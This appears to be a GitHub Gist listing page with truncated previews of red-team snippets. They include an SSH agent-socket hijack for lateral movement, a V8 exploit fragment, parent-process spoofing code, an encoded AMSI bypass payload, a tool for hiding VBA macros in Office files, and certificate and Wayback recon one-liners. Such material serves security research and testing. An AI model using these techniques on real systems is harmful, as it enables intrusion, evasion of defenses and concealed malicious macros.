Skip to content

Instantly share code, notes, and snippets.

View TechByTom's full-sized avatar

TechByTom

13 followers · 100 following
View GitHub Profile
@monoxgas
monoxgas / extract.cpp
Created May 25, 2021 22:06
MacOS Shared DYLD Cache Extraction (Big Sur)
// ref: https://opensource.apple.com/source/dyld/[VERSION]/launch-cache/dsc_extractor.cpp.auto.html
// > SDKROOT=`xcrun --sdk macosx --show-sdk-path`
// > clang++ -o extract extract.cpp
// > mkdir libraries
// > ./extract /System/Library/dyld/dyld_shared_cache_x86_64 `pwd`/libraries/
#include <stdio.h>
#include <stddef.h>
#include <dlfcn.h>
@hkraw
hkraw / chrome-v8-issue-1126249.js
Last active April 20, 2022 15:29
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}
ftoi(f) {
@int0x80
int0x80 / SSH Agent Forwarding.md
Created January 7, 2021 00:59

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]

user@internal:~$ hostname -f
internal.company.tld
@TechByTom
TechByTom / simplecrt.sh
Created December 17, 2020 20:56
Bash one liner to get all certificates from crt.sh
curl -s 'https://crt.sh/?q=%.'$1'&output=json' | jq '.[] | {name_value}' | grep "name_value" | sed 's/\"//g' | cut -d":" -f2- | tr -d '[:blank:]' | sed 's/\\n/\n/g' | tr '[:upper:]' '[:lower:]' | sort -u
@csandker
csandker / KerberosDelegation-Checks
Created January 22, 2020 16:17
Kerberos Delegation Checks
PS C:\Users\Clark.Kent\Desktop> ## Unconstrained Delegation
PS C:\Users\Clark.Kent\Desktop> ([adsisearcher]'(userAccountControl:1.2.840.113556.1.4.803:=524288)').FindAll()
Path Properties
---- ----------
LDAP://CN=DC01,OU=Domain Controllers,DC=MonkeyIsland,DC=local {ridsetreferences, logoncount, codepage, objectcategor...
LDAP://CN=HTTPSvc,CN=Users,DC=MonkeyIsland,DC=local {givenname, codepage, objectcategory, dscorepropagatio...
PS C:\Users\Clark.Kent\Desktop> ## Constrained Delegation
@TechByTom
TechByTom / process_spoof.c
Created June 1, 2019 23:37
/* x86-64-w64-mingw32-gcc process_spoof.c -o spoof.exe */
/* spoof.exe explorer.exe calc.exe */
#include <windows.h>
#include <tlhelp32.h>
#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000
typedef struct _STARTUPINFOEX {
STARTUPINFO StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
@jkamdjou
jkamdjou / amsi-bypass.ps1
Created February 13, 2019 23:00
$a = @(85,87,112,80,64,64,76,64,64,64,64,68,64,64,64,64,46,46,57,64,64,77,102,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,102,64,64,64,64,64,53,103,116,102,53,64,117,64,111,79,72,99,102,67,85,76,49,105,87,70,105,113,98,120,67,118,98,108,56,111,98,108,71,117,72,70,79,105,99,108,52,119,101,66,67,104,91,82,67,120,101,86,53,102,96,86,53,102,83,68,56,85,72,70,48,119,91,70,84,116,69,80,49,74,75,64,64,64,64,64,64,64,64,64,67,80,83,80,64,64,85,64,68,69,64,77,117,66,77,109,118,64,64,64,64,64,64,64,64,64,64,78,64,64,72,104,64,77,64,85,64,64,64,64,53,64,64,64,64,70,64,64,64,64,64,64,64,64,66,104,118,64,64,64,64,102,64,64,64,64,80,64,64,64,64,64,64,64,68,64,64,102,64,64,64,64,64,102,64,64,67,64,64,64,64,64,64,64,64,64,64,70,64,64,64,64,64,64,64,64,64,64,66,64,64,64,64,64,64,102,64,64,64,64,64,64,64,64,76,64,88,72,84,64,64,67,64,64,64,67,64,64,64,64,64,64,68,64,64,64,68,64,64,64,64,64,64,64,64,67,
@TechByTom
TechByTom / waybackurls.py
Created June 19, 2018 23:20 — forked from mhmdiaa/waybackurls.py
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@mikeabreu
mikeabreu / get_certs.sh
Last active September 23, 2019 01:49
Certificate Transparency Bash Functions
#!/bin/bash
# Add these functions to your .bashrc or .zshrc and use from your terminal.
get_certs_domains() {
# Credit goes to Ronnie Flathers, taken from https://twitter.com/ropnop/status/972151279463124994
curl -s https://crt.sh\?q\=%25.$1 | awk -v pattern="<TD>.*$1" '$0 ~ pattern {gsub("<[^>]*>","");gsub(//,""); print}' | sort -u
}
get_certs() {
curl -s https://crt.sh\?q\=%25.$1 | awk '/\?id=[0-9]*/{nr[NR]; nr[NR+1]; nr[NR+3]; nr[NR+4]}; NR in nr' | sed 's/<TD style="text-align:center"><A href="?id=//g' | sed 's#">[0-9]*</A></TD>##g' | sed 's#<TD style="text-align:center">##g' | sed 's#</TD>##g' | sed 's#<TD>##g' | sed 's#<A style=["a-z: ?=0-9-]*>##g' | sed 's#</A>##g' | sed 'N;N;N;s/\n/\t\t/g'
}
@williamknows
williamknows / Invoke-HideVBAModule.psm1
Created November 6, 2017 06:55
PowerShell cmdlet for hiding VBA modules in Microsoft Office documents
<#
.Synopsis
Used to hide VBA modules from the VBA editor in Microsoft Office documents/templates, but still have them contain executable code.
Script created by William Knowles. @william_knows
Technique originally found by Thegrideon Software: https://www.thegrideon.com/vba-internals.html
.Description
This cmdlet facilitates editing the Word/Excel documents/templates to remove references to VBA modules.
For the older compatibility formats you can edit the file directly with a hex editor and remove module references.
For the newer XML formats that use zip files, you need to unzip them, and edit the vbaProject.bin file.